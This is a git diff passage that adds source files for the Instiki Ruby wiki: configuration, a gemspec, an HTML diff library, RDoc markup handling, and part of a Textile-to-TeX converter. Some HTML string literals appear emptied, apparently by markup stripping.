    + +<%= render 'bottom' %> diff --git a/app/views/wiki_words_help.rhtml b/app/views/wiki_words_help.rhtml new file mode 100755 index 00000000..2b026891 --- /dev/null +++ b/app/views/wiki_words_help.rhtml @@ -0,0 +1,9 @@ +

    Wiki words

    +

    + Two or more uppercase words stuck together (camel case) or any phrase surrounded by double + brackets is a wiki word. A camel-case wiki word can be escaped by putting \ in front of it. +

    +

    + Wiki words: HomePage, ThreeWordsTogether, [[C++]], [[Let's play again!]]
    + Not wiki words: IBM, School +

    diff --git a/config/environment.rb b/config/environment.rb new file mode 100644 index 00000000..f8db9b4e --- /dev/null +++ b/config/environment.rb @@ -0,0 +1,59 @@ +if RUBY_VERSION < "1.8.1" + puts "Instiki requires Ruby 1.8.1+" + exit +end + +RAILS_ROOT = File.dirname(__FILE__) + "/../" unless defined? RAILS_ROOT +RAILS_ENV = ENV['RAILS_ENV'] || 'production' unless defined? RAILS_ENV + +unless defined? ADDITIONAL_LOAD_PATHS +# Mocks first. + ADDITIONAL_LOAD_PATHS = ["#{RAILS_ROOT}/test/mocks/#{RAILS_ENV}"] + +# Then model subdirectories. + ADDITIONAL_LOAD_PATHS.concat(Dir["#{RAILS_ROOT}/app/models/[_a-z]*"]) + +# Followed by the standard includes. + ADDITIONAL_LOAD_PATHS.concat %w( + app + app/models + app/controllers + app/helpers + config + libraries + ).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}" } + +# Third party vendors + ADDITIONAL_LOAD_PATHS.concat %w( + vendor/bluecloth-1.0.0/lib + vendor/madeleine-0.7.1/lib + vendor/redcloth-2.0.11/lib + vendor/rubyzip-0.5.6 + vendor/actionpack/lib + vendor/activesupport/lib + vendor/railties/lib + ).map { |dir| + "#{File.expand_path(File.join(RAILS_ROOT, dir))}" + }.delete_if { |dir| not File.exist?(dir) } + +# Prepend to $LOAD_PATH + ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } +end + +require 'action_controller' +require 'active_record_stub' +require 'dependencies' + +unless defined? RAILS_DEFAULT_LOGGER + RAILS_DEFAULT_LOGGER = Logger.new(STDERR) + RAILS_DEFAULT_LOGGER.level = Logger::INFO + ActionController::Base.logger ||= RAILS_DEFAULT_LOGGER +end + +# Environment-specific configuration. +require "environments/#{RAILS_ENV}" +require 'wiki_service' + +Socket.do_not_reverse_lookup = true + +ActionController::Base.template_root ||= "#{RAILS_ROOT}/app/views/" diff --git a/config/environments/development.rb b/config/environments/development.rb new file mode 100755 index 00000000..26741be4 --- /dev/null +++ b/config/environments/development.rb @@ -0,0 +1,4 @@ +Dependencies.mechanism = :require +ActionController::Base.consider_all_requests_local = true +BREAKPOINT_SERVER_PORT = 42531 +ActionController::Base.logger.level = Logger::DEBUG diff --git a/config/environments/production.rb b/config/environments/production.rb new file mode 100644 index 00000000..8ce5207c --- /dev/null +++ b/config/environments/production.rb @@ -0,0 +1,2 @@ +Dependencies.mechanism = :require +ActionController::Base.consider_all_requests_local = false diff --git a/config/environments/test.rb b/config/environments/test.rb new file mode 100644 index 00000000..6b1c6ea3 --- /dev/null +++ b/config/environments/test.rb @@ -0,0 +1,14 @@ +Dependencies.mechanism = :require +ActionController::Base.consider_all_requests_local = true + +require 'fileutils' +FileUtils.mkdir_p(RAILS_ROOT + "/log") + +unless defined? TEST_LOGGER + timestamp = Time.now.strftime('%Y%m%d%H%M%S') + log_name = RAILS_ROOT + "/log/instiki_test.#{timestamp}.log" + $stderr.puts "To see the Rails log:\n less #{log_name}" + + TEST_LOGGER = ActionController::Base.logger = Logger.new(log_name) + ActionController::Base.logger.level = Logger::DEBUG +end \ No newline at end of file diff --git a/instiki b/instiki new file mode 100755 index 00000000..caf4352d --- /dev/null +++ b/instiki @@ -0,0 +1,2 @@ +#!/usr/bin/ruby +load File.dirname(__FILE__) + "/script/server" diff --git a/instiki.gemspec b/instiki.gemspec new file mode 100755 index 00000000..aaf23ec8 --- /dev/null +++ b/instiki.gemspec @@ -0,0 +1,44 @@ +$__instiki_source_patterns = ['[A-Z]*', 'instiki', 'app/**/*', 'libraries/**/*', 'vendor/**/*'] + +spec = Gem::Specification.new do |s| + s.platform = Gem::Platform::RUBY + s.name = 'instiki' + s.version = "0.9.2" + s.summary = 'Easy to install WikiClone running on WEBrick and Madeleine' + s.description = <<-EOF + Instiki is a Wiki Clone written in Ruby that ships with an embedded + webserver. You can setup up an Instiki in just a few steps. + Possibly the simplest wiki setup ever. + EOF + s.author = 'David Heinemeier Hansson' + s.email = 'david@loudthinking.com' + s.rubyforge_project = 'instiki' + s.homepage = 'http://www.instiki.org' + + s.bindir = '.' + s.executables = ['instiki'] + s.default_executable = 'instiki' + + s.has_rdoc = true + s.rdoc_options << '--title' << 'Instiki -- The Wiki' << + '--line-numbers' << '--inline-source' + # TODO: specify README as main RDoc file + + s.add_dependency('madeleine', '= 0.7.1') + s.add_dependency('BlueCloth', '= 1.0.0') + s.add_dependency('RedCloth', '= 2.0.11') + s.add_dependency('rubyzip', '= 0.5.5') + s.requirements << 'none' + s.require_path = 'libraries' + + s.files = $__instiki_source_patterns.inject([]) { |list, glob| + list << Dir[glob].delete_if { |path| + File.directory?(path) or + path.include?('CVS/') or + path.include?('vendor/') or + path.include?('test/') or + path.include?('_test.rb') + } + }.flatten + +end diff --git a/libraries/active_record_stub.rb b/libraries/active_record_stub.rb new file mode 100755 index 00000000..7596ec89 --- /dev/null +++ b/libraries/active_record_stub.rb @@ -0,0 +1,23 @@ +# This project uses Railties, which has an external dependency on ActiveRecord +# Since ActiveRecord may not be present in Instiki runtime environment, this +# file provides a stub replacement for it + +unless defined? ActiveRecord::Base + +module ActiveRecord + class Base + + # dependency in railties/lib/dispatcher.rb + def self.reset_column_information_and_inheritable_attributes_for_all_subclasses + # noop + end + + # dependency in actionpack/lib/action_controller/benchmarking.rb + def self.connected? + false + end + + end + end + +end \ No newline at end of file diff --git a/libraries/diff.rb b/libraries/diff.rb new file mode 100755 index 00000000..16fd8150 --- /dev/null +++ b/libraries/diff.rb @@ -0,0 +1,475 @@ +# heavily based off difflib.py - see that file for documentation +# ported from Python by Bill Atkins + +# This does not support all features offered by difflib; it +# implements only the subset of features necessary +# to support a Ruby version of HTML Differ. You're welcome to finish this off. + +# By default, String#each iterates by line. This isn't really appropriate +# for diff, so often a string will be split by // to get an array of one- +# character strings. + +# Some methods in Diff are untested and are not guaranteed to work. The +# methods in HTMLDiff and any methods it calls should work quite well. + +# changes by DenisMertz +# * main change: +# ** get the tag soup away +# the tag soup problem was first reported with

    tags, but it appeared also with +#

  • ,
      etc... tags +# this version should mostly fix these problems +# ** added a Builder class to manage the creation of the final htmldiff +# * minor changes: +# ** use symbols instead of string to represent opcodes +# ** small fix to html2list +# + +module Enumerable + def reduce(init) + result = init + each { |item| result = yield(result, item) } + result + end +end + +module Diff + + class SequenceMatcher + def initialize(a=[''], b=[''], isjunk=nil, byline=false) + a = (!byline and a.kind_of? String) ? a.split(//) : a + b = (!byline and b.kind_of? String) ? b.split(//) : b + @isjunk = isjunk || proc {} + set_seqs a, b + end + + def set_seqs(a, b) + set_seq_a a + set_seq_b b + end + + def set_seq_a(a) + @a = a + @matching_blocks = @opcodes = nil + end + + def set_seq_b(b) + @b = b + @matching_blocks = @opcodes = nil + chain_b + end + + def chain_b + @fullbcount = nil + @b2j = {} + pophash = {} + junkdict = {} + + @b.each_with_index do |elt, i| + if @b2j.has_key? elt + indices = @b2j[elt] + if @b.length >= 200 and indices.length * 100 > @b.length + pophash[elt] = 1 + indices.clear + else + indices.push i + end + else + @b2j[elt] = [i] + end + end + + pophash.each_key { |elt| @b2j.delete elt } + + junkdict = {} + + unless @isjunk.nil? + [pophash, @b2j].each do |d| + d.each_key do |elt| + if @isjunk.call(elt) + junkdict[elt] = 1 + d.delete elt + end + end + end + end + + @isbjunk = junkdict.method(:has_key?) + @isbpopular = junkdict.method(:has_key?) + end + + def find_longest_match(alo, ahi, blo, bhi) + besti, bestj, bestsize = alo, blo, 0 + + j2len = {} + + (alo..ahi).step do |i| + newj2len = {} + (@b2j[@a[i]] || []).each do |j| + if j < blo + next + end + if j >= bhi + break + end + + k = newj2len[j] = (j2len[j - 1] || 0) + 1 + if k > bestsize + besti, bestj, bestsize = i - k + 1, j - k + 1, k + end + end + j2len = newj2len + end + + while besti > alo and bestj > blo and + not @isbjunk.call(@b[bestj-1]) and + @a[besti-1] == @b[bestj-1] + besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 + end + + while besti+bestsize < ahi and bestj+bestsize < bhi and + not @isbjunk.call(@b[bestj+bestsize]) and + @a[besti+bestsize] == @b[bestj+bestsize] + bestsize += 1 + end + + while besti > alo and bestj > blo and + @isbjunk.call(@b[bestj-1]) and + @a[besti-1] == @b[bestj-1] + besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 + end + + while besti+bestsize < ahi and bestj+bestsize < bhi and + @isbjunk.call(@b[bestj+bestsize]) and + @a[besti+bestsize] == @b[bestj+bestsize] + bestsize += 1 + end + + [besti, bestj, bestsize] + end + + def get_matching_blocks + return @matching_blocks unless @matching_blocks.nil? or + @matching_blocks.empty? + + @matching_blocks = [] + la, lb = @a.length, @b.length + match_block_helper(0, la, 0, lb, @matching_blocks) + @matching_blocks.push [la, lb, 0] + end + + def match_block_helper(alo, ahi, blo, bhi, answer) + i, j, k = x = find_longest_match(alo, ahi, blo, bhi) + if not k.zero? + if alo < i and blo < j + match_block_helper(alo, i, blo, j, answer) + end + answer.push x + if i + k < ahi and j + k < bhi + match_block_helper(i + k, ahi, j + k, bhi, answer) + end + end + end + + def get_opcodes + unless @opcodes.nil? or @opcodes.empty? + return @opcodes + end + + i = j = 0 + @opcodes = answer = [] + get_matching_blocks.each do |ai, bj, size| + tag = if i < ai and j < bj + :replace + elsif i < ai + :delete + elsif j < bj + :insert + end + + answer.push [tag, i, ai, j, bj] if tag + + i, j = ai + size, bj + size + + answer.push [:equal, ai, i, bj, j] unless size.zero? + + end + return answer + end + + # XXX: untested + def get_grouped_opcodes(n=3) + codes = get_opcodes + if codes[0][0] == :equal + tag, i1, i2, j1, j2 = codes[0] + codes[0] = tag, [i1, i2 - n].max, i2, [j1, j2-n].max, j2 + end + + if codes[-1][0] == :equal + tag, i1, i2, j1, j2 = codes[-1] + codes[-1] = tag, i1, min(i2, i1+n), j1, min(j2, j1+n) + end + nn = n + n + group = [] + codes.each do |tag, i1, i2, j1, j2| + if tag == :equal and i2-i1 > nn + group.push [tag, i1, [i2, i1 + n].min, j1, [j2, j1 + n].min] + yield group + group = [] + i1, j1 = [i1, i2-n].max, [j1, j2-n].max + group.push [tag, i1, i2, j1 ,j2] + end + end + if group and group.length != 1 and group[0][0] == :equal + yield group + end + end + + def ratio + matches = get_matching_blocks.reduce(0) do |sum, triple| + sum + triple[-1] + end + Diff.calculate_ratio(matches, @a.length + @b.length) + end + + def quick_ratio + if @fullbcount.nil? or @fullbcount.empty? + @fullbcount = {} + @b.each do |elt| + @fullbcount[elt] = (@fullbcount[elt] || 0) + 1 + end + end + + avail = {} + matches = 0 + @a.each do |elt| + if avail.has_key? elt + numb = avail[elt] + else + numb = @fullbcount[elt] || 0 + end + avail[elt] = numb - 1 + if numb > 0 + matches += 1 + end + end + Diff.calculate_ratio matches, @a.length + @b.length + end + + def real_quick_ratio + la, lb = @a.length, @b.length + Diff.calculate_ratio([la, lb].min, la + lb) + end + + protected :chain_b, :match_block_helper + end # end class SequenceMatcher + + def self.calculate_ratio(matches, length) + return 1.0 if length.zero? + 2.0 * matches / length + end + + # XXX: untested + def self.get_close_matches(word, possibilities, n=3, cutoff=0.6) + unless n > 0 + raise "n must be > 0: #{n}" + end + unless 0.0 <= cutoff and cutoff <= 1.0 + raise "cutoff must be in (0.0..1.0): #{cutoff}" + end + + result = [] + s = SequenceMatcher.new + s.set_seq_b word + possibilities.each do |x| + s.set_seq_a x + if s.real_quick_ratio >= cutoff and + s.quick_ratio >= cutoff and + s.ratio >= cutoff + result.push [s.ratio, x] + end + end + + unless result.nil? or result.empty? + result.sort + result.reverse! + result = result[-n..-1] + end + result.collect { |score, x| x } + end + + def self.count_leading(line, ch) + i, n = 0, line.length + while i < n and line[i].chr == ch + i += 1 + end + i + end +end + + +module HTMLDiff + include Diff + class Builder + VALID_METHODS = [:replace, :insert, :delete, :equal] + def initialize(a, b) + @a = a + @b = b + @content = [] + end + + def do_op(opcode) + @opcode = opcode + op = @opcode[0] + VALID_METHODS.include?(op) or raise(NameError, "Invalid opcode #{op}") + self.method(op).call + end + + def result + @content.join('') + end + + #this methods have to be called via do_op(opcode) so that @opcode is set properly + private + + def replace + delete("diffmod") + insert("diffmod") + end + + def insert(tagclass="diffins") + op_helper("ins", tagclass, @b[@opcode[3]...@opcode[4]]) + end + + def delete(tagclass="diffdel") + op_helper("del", tagclass, @a[@opcode[1]...@opcode[2]]) + end + + def equal + @content += @b[@opcode[3]...@opcode[4]] + end + + # using this as op_helper would be equivalent to the first version of diff.rb by Bill Atkins + def op_helper_simple(tagname, tagclass, to_add) + @content << "<#{tagname} class=\"#{tagclass}\">" + @content += to_add + @content << "" + end + + # this tries to put

      tags or newline chars before the opening diff tags ( or ) + # or after the ending diff tags + # as a result the diff tags should be the "more inside" possible. + # this seems to work nice with html containing only paragraphs + # but not sure it works if there are other tags (div, span ... ? ) around + def op_helper(tagname, tagclass, to_add) + @content << to_add.shift while ( HTMLDiff.is_newline(to_add.first) or + HTMLDiff.is_p_close_tag(to_add.first) or + HTMLDiff.is_p_open_tag(to_add.first) ) + @content << "<#{tagname} class=\"#{tagclass}\">" + @content += to_add + last_tags = [] + last_tags.unshift(@content.pop) while ( HTMLDiff.is_newline(@content.last) or + HTMLDiff.is_p_close_tag(@content.last) or + HTMLDiff.is_p_open_tag(@content.last) ) + last_tags.unshift "" + @content += last_tags + remove_empty_diff(tagname, tagclass) + end + + def remove_empty_diff(tagname, tagclass) + if @content[-2] == "<#{tagname} class=\"#{tagclass}\">" and @content[-1] == "" then + @content.pop + @content.pop + end + end + + end + + def self.is_newline(x) + (x == "\n") or (x == "\r") or (x == "\t") + end + + def self.is_p_open_tag(x) + x =~ /\A<(p|li|ul|ol|dir|dt|dl)/ + end + + def self.is_p_close_tag(x) + x =~ %r!\A' + if b + cur += ']' + else + cur += c + end + out.push(cur) + cur = '' + mode = 'char' + else + cur += c + end + elsif mode == 'char' + if c == '<' + out.push cur + if b + cur = '[' + else + cur = c + end + mode = 'tag' + elsif /\s/.match c + out.push cur + c + cur = '' + else + cur += c + end + end + end + + out.push cur + # TODO: make something better here + out.each{|x| x.chomp! unless is_newline(x)} + out.find_all { |x| x != '' } + end + + +end + +if __FILE__ == $0 + + require 'pp' + # a = "

      this is the original string

      " # \n

      but around the world

      " + # b = "

      this is the original

      other parag

      string

      " + a = "
        \n\t
      • one
      • \n\t
      • two
      • \n
      " + b = "
        \n\t
      • one
      • \n\t
      • two\n\t
        • abc
      • \n
      " + puts a + pp HTMLDiff.html2list(a) + puts + puts b + pp HTMLDiff.html2list(b) + puts + puts HTMLDiff.diff(a, b) +end \ No newline at end of file diff --git a/libraries/rdocsupport.rb b/libraries/rdocsupport.rb new file mode 100755 index 00000000..62b84cb8 --- /dev/null +++ b/libraries/rdocsupport.rb @@ -0,0 +1,152 @@ +begin + require "rdoc/markup/simple_markup" + require 'rdoc/markup/simple_markup/to_html' +rescue LoadError + # use old version if available + require 'markup/simple_markup' + require 'markup/simple_markup/to_html' +end + +module RDocSupport + +# A simple +rdoc+ markup class which recognizes some additional +# formatting commands suitable for Wiki use. +class RDocMarkup < SM::SimpleMarkup + def initialize + super() + + pre = '(?:\\s|^|\\\\)' + + # links of the form + # [[ description with spaces]] + add_special(/((\\)?\[\[\S+?\s+.+?\]\])/,:TIDYLINK) + + # and external references + add_special(/((\\)?(link:|anchor:|http:|mailto:|ftp:|img:|www\.)\S+\w\/?)/, + :HYPERLINK) + + #
      + add_special(%r{(#{pre}
      )}, :BR) + + # and
      ...
      + add_html("center", :CENTER) + end + + def convert(text, handler) + super.sub(/^

      \n/, '').sub(/<\/p>$/, '') + end +end + +# Handle special hyperlinking requirments for RDoc formatted +# entries. Requires RDoc + +class HyperLinkHtml < SM::ToHtml + + # Initialize the HyperLinkHtml object. + # [path] location of the node + # [site] object representing the whole site (typically of class + # +Site+) + def initialize + super() + add_tag(:CENTER, "

      ", "
      ") + end + + # handle
      + def handle_special_BR(special) + return "<br/>" if special.text[0,1] == '\\' + special.text + end + + # We're invoked with a potential external hyperlink. + # [mailto:] just gets inserted. + # [http:] links are checked to see if they + # reference an image. If so, that image gets inserted + # using an tag. Otherwise a conventional + # is used. + # [img:] insert a tag + # [link:] used to insert arbitrary references + # [anchor:] used to create an anchor + def handle_special_HYPERLINK(special) + text = special.text.strip + return text[1..-1] if text[0,1] == '\\' + url = special.text.strip + if url =~ /([A-Za-z]+):(.*)/ + type = $1 + path = $2 + else + type = "http" + path = url + url = "http://#{url}" + end + + case type + when "http" + if url =~ /\.(gif|png|jpg|jpeg|bmp)$/ + "" + else + "#{url.sub(%r{^\w+:/*}, '')}" + end + when "img" + "" + when "link" + "#{path}" + when "anchor" + "" + else + "#{url.sub(%r{^\w+:/*}, '')}" + end + end + + # Here's a hyperlink where the label is different to the URL + # [[url label that may contain spaces]] + # + + def handle_special_TIDYLINK(special) + text = special.text.strip + return text[1..-1] if text[0,1] == '\\' + unless text =~ /\[\[(\S+?)\s+(.+?)\]\]/ + return text + end + url = $1 + label = $2 + label = RDocFormatter.new(label).to_html + label = label.split.select{|x| x =~ /\S/}. + map{|x| x.chomp}.join(' ') + + case url + when /link:(\S+)/ + return %{#{label}} + when /img:(\S+)/ + return %{#{label}} + when /rubytalk:(\S+)/ + return %{#{label}} + when /rubygarden:(\S+)/ + return %{#{label}} + when /c2:(\S+)/ + return %{#{label}} + when /isbn:(\S+)/ + return %{#{label}} + end + + unless url =~ /\w+?:/ + url = "http://#{url}" + end + + "#{label}" + end +end + +class RDocFormatter + def initialize(text) + @text = text + end + + def to_html + markup = RDocMarkup.new + h = HyperLinkHtml.new + markup.convert(@text, h) + end +end + +end \ No newline at end of file diff --git a/libraries/redcloth_for_tex.rb b/libraries/redcloth_for_tex.rb new file mode 100755 index 00000000..9c347645 --- /dev/null +++ b/libraries/redcloth_for_tex.rb @@ -0,0 +1,880 @@ +# vim:ts=4:sw=4: +# = RedCloth - Textile for Ruby +# +# (c) 2003 why the lucky stiff (and his puppet organizations.) +# +# (see http://www.textism.com/tools/textile/ for Textile) +# +# Based on (and also inspired by) both: +# +# PyTextile: http://diveintomark.org/projects/textile/textile.py.txt +# Textism for PHP: http://www.textism.com/tools/textile/ +# +# +# == What is Textile? +# +# Textile is a simple formatting style for text +# documents, loosely based on some HTML conventions. +# +# === Sample Textile Text +# +# h2. This is a title +# +# h3. This is a subhead +# +# This is a bit of paragraph. +# +# bq. This is a blockquote. +# +# === Writing Textile +# +# A Textile document consists of paragraphs. Paragraphs +# can be specially formatted by adding a small instruction +# to the beginning of the paragraph. +# +# h[n]. Header of size [n]. +# bq. Blockquote. +# # Numeric list. +# * Bulleted list. +# +# === Quick Phrase Modifiers +# +# Quick phrase modifiers are also included, to allow formatting +# of small portions of text within a paragraph. +# +# _emphasis_ +# __italicized__ +# *strong* +# **bold** +# ??citation?? +# -deleted text- +# +inserted text+ +# ^superscript^ +# ~subscript~ +# @code@ +# %(classname)span% +# +# ==notextile== (leave text alone) +# +# === Links +# +# To make a hypertext link, put the link text in "quotation +# marks" followed immediately by a colon and the URL of the link. +# +# Optional: text in (parentheses) following the link text, +# but before the closing quotation mark, will become a Title +# attribute for the link, visible as a tool tip when a cursor is above it. +# +# Example: +# +# "This is a link (This is a title) ":http://www.textism.com +# +# Will become: +# +# This is a link +# +# === Images +# +# To insert an image, put the URL for the image inside exclamation marks. +# +# Optional: text that immediately follows the URL in (parentheses) will +# be used as the Alt text for the image. Images on the web should always +# have descriptive Alt text for the benefit of readers using non-graphical +# browsers. +# +# Optional: place a colon followed by a URL immediately after the +# closing ! to make the image into a link. +# +# Example: +# +# !http://www.textism.com/common/textist.gif(Textist)! +# +# Will become: +# +# Textist +# +# With a link: +# +# !/common/textist.gif(Textist)!:http://textism.com +# +# Will become: +# +# Textist +# +# === Defining Acronyms +# +# HTML allows authors to define acronyms via the tag. The definition appears as a +# tool tip when a cursor hovers over the acronym. A crucial aid to clear writing, +# this should be used at least once for each acronym in documents where they appear. +# +# To quickly define an acronym in Textile, place the full text in (parentheses) +# immediately following the acronym. +# +# Example: +# +# ACLU(American Civil Liberties Union) +# +# Will become: +# +# ACLU +# +# === Adding Tables +# +# In Textile, simple tables can be added by seperating each column by +# a pipe. +# +# |a|simple|table|row| +# |And|Another|table|row| +# +# Attributes are defined by style definitions in parentheses. +# +# table(border:1px solid black). +# (background:#ddd;color:red). |{}| | | | +# +# === Using RedCloth +# +# RedCloth is simply an extension of the String class, which can handle +# Textile formatting. Use it like a String and output HTML with its +# RedCloth#to_html method. +# +# doc = RedCloth.new " +# +# h2. Test document +# +# Just a simple test." +# +# puts doc.to_html + +class String + # + # Flexible HTML escaping + # + def texesc!( mode ) + gsub!( '&', '\\\\&' ) + gsub!( '%', '\%' ) + gsub!( '$', '\$' ) + end +end + + +def table_of_contents(text, pages) + text.gsub!( /^([#*]+? .*?)$(?![^#*])/m ) do |match| + lines = match.split( /\n/ ) + last_line = -1 + depth = [] + lines.each_with_index do |line, line_id| + if line =~ /^([#*]+) (.*)$/m + tl,content = $~[1..2] + content.gsub! /[\[\]]/, "" + content.strip! + + if depth.last + if depth.last.length > tl.length + (depth.length - 1).downto(0) do |i| + break if depth[i].length == tl.length + lines[line_id - 1] << "" # "\n\t\\end{#{ lT( depth[i] ) }}\n\t" + depth.pop + end + end + if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length + lines[line_id - 1] << '' + end + end + + depth << tl unless depth.last == tl + + subsection_depth = [depth.length - 1, 2].min + + lines[line_id] = "\n\\#{ "sub" * subsection_depth }section{#{ content }}" + lines[line_id] += "\n#{pages[content]}" if pages.keys.include?(content) + + lines[line_id] = "\\pagebreak\n#{lines[line_id]}" if subsection_depth == 0 + + last_line = line_id + + elsif line =~ /^\s+\S/ + last_line = line_id + elsif line_id - last_line < 2 and line =~ /^\S/ + last_line = line_id + end + if line_id - last_line > 1 or line_id == lines.length - 1 + depth.delete_if do |v| + lines[last_line] << "" # "\n\t\\end{#{ lT( v ) }}" + end + end + end + lines.join( "\n" ) + end +end + +class RedClothForTex < String + + VERSION = '2.0.7' + + # + # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents. + # (from PyTextile) + # + TEXTILE_TAGS = + + [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], + [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], + [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], + [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], + [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]]. + + collect! do |a, b| + [a.chr, ( b.zero? and "" or "&#{ b };" )] + end + + # + # Regular expressions to convert to HTML. + # + A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/ + A_VLGN = /[\-^~]/ + C_CLAS = '(?:\([^)]+\))' + C_LNGE = '(?:\[[^\]]+\])' + C_STYL = '(?:\{[^}]+\})' + S_CSPN = '(?:\\\\\d+)' + S_RSPN = '(?:/\d+)' + A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)" + S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)" + C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)" + # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ) + PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' ) + HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)' + + GLYPHS = [ + # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing + [ /([^\s\[{(>])\'/, '\1’' ], # single closing + [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing + [ /\'/, '‘' ], # single opening + # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing + [ /([^\s\[{(>])"/, '\1”' ], # double closing + [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing + [ /"/, '“' ], # double opening + [ /\b( )?\.{3}/, '\1…' ], # ellipsis + [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym + [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^\2\3' ], # 3+ uppercase caps + [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash + [ /\s->\s/, ' → ' ], # en dash + [ /\s-\s/, ' – ' ], # en dash + [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign + [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark + [ /\b ?[(\[]R[\])]/i, '®' ], # registered + [ /\b ?[(\[]C[\])]/i, '©' ] # copyright + ] + + I_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right' + } + + H_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right', + '<>' => 'justify' + } + + V_ALGN_VALS = { + '^' => 'top', + '-' => 'middle', + '~' => 'bottom' + } + + QTAGS = [ + ['**', 'bf'], + ['*', 'bf'], + ['??', 'cite'], + ['-', 'del'], + ['__', 'underline'], + ['_', 'em'], + ['%', 'span'], + ['+', 'ins'], + ['^', 'sup'], + ['~', 'sub'] + ] + + def self.available? + if not defined? @@available + begin + @@available = system "pdflatex -version" + rescue Errno::ENOENT + @@available = false + end + end + @@available + end + + # + # Two accessor for setting security restrictions. + # + # This is a nice thing if you're using RedCloth for + # formatting in public places (e.g. Wikis) where you + # don't want users to abuse HTML for bad things. + # + # If +:filter_html+ is set, HTML which wasn't + # created by the Textile processor will be escaped. + # + # If +:filter_styles+ is set, it will also disable + # the style markup specifier. ('{color: red}') + # + attr_accessor :filter_html, :filter_styles + + # + # Accessor for toggling line folding. + # + # If +:fold_lines+ is set, single newlines will + # not be converted to break tags. + # + attr_accessor :fold_lines + + def initialize( string, restrictions = [] ) + restrictions.each { |r| method( "#{ r }=" ).call( true ) } + super( string ) + end + + # + # Generate tex. + # + def to_tex( lite = false ) + + # make our working copy + text = self.dup + + @urlrefs = {} + @shelf = [] + + # incoming_entities text + fix_entities text + clean_white_space text + + get_refs text + + no_textile text + + unless lite + lists text + table text + end + + glyphs text + + unless lite + fold text + block text + end + + retrieve text + encode_entities text + + text.gsub!(/\[\[(.*?)\]\]/, "\\1") + text.gsub!(/_/, "\\_") + text.gsub!( /<\/?notextile>/, '' ) + # text.gsub!( /x%x%/, '&' ) + # text.gsub!( /
      /, "
      \n" ) + text.strip! + text + + end + + def pgl( text ) + GLYPHS.each do |re, resub| + text.gsub! re, resub + end + end + + def pba( text_in, element = "" ) + + return '' unless text_in + + style = [] + text = text_in.dup + if element == 'td' + colspan = $1 if text =~ /\\(\d+)/ + rowspan = $1 if text =~ /\/(\d+)/ + style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN + end + + style << "#{ $1 };" if not @filter_styles and + text.sub!( /\{([^}]*)\}/, '' ) + + lang = $1 if + text.sub!( /\[([^)]+?)\]/, '' ) + + cls = $1 if + text.sub!( /\(([^()]+?)\)/, '' ) + + style << "padding-left:#{ $1.length }em;" if + text.sub!( /([(]+)/, '' ) + + style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' ) + + style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN + + cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/ + + atts = '' + atts << " style=\"#{ style.join }\"" unless style.empty? + atts << " class=\"#{ cls }\"" unless cls.to_s.empty? + atts << " lang=\"#{ lang }\"" if lang + atts << " id=\"#{ id }\"" if id + atts << " colspan=\"#{ colspan }\"" if colspan + atts << " rowspan=\"#{ rowspan }\"" if rowspan + + atts + end + + def table( text ) + text << "\n\n" + text.gsub!( /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)\n\n/m ) do |matches| + + tatts, fullrow = $~[1..2] + tatts = pba( tatts, 'table' ) + rows = [] + + fullrow. + split( /\|$/m ). + delete_if { |x| x.empty? }. + each do |row| + + ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m + + cells = [] + row.split( '|' ).each do |cell| + ctyp = 'd' + ctyp = 'h' if cell =~ /^_/ + + catts = '' + catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/ + + unless cell.strip.empty? + cells << "\t\t\t#{ cell }" + end + end + rows << "\t\t\n#{ cells.join( "\n" ) }\n\t\t" + end + "\t\n#{ rows.join( "\n" ) }\n\t\n\n" + end + end + + def lists( text ) + text.gsub!( /^([#*]+?#{C} .*?)$(?![^#*])/m ) do |match| + lines = match.split( /\n/ ) + last_line = -1 + depth = [] + lines.each_with_index do |line, line_id| + if line =~ /^([#*]+)(#{A}#{C}) (.*)$/m + tl,atts,content = $~[1..3] + if depth.last + if depth.last.length > tl.length + (depth.length - 1).downto(0) do |i| + break if depth[i].length == tl.length + lines[line_id - 1] << "\n\t\\end{#{ lT( 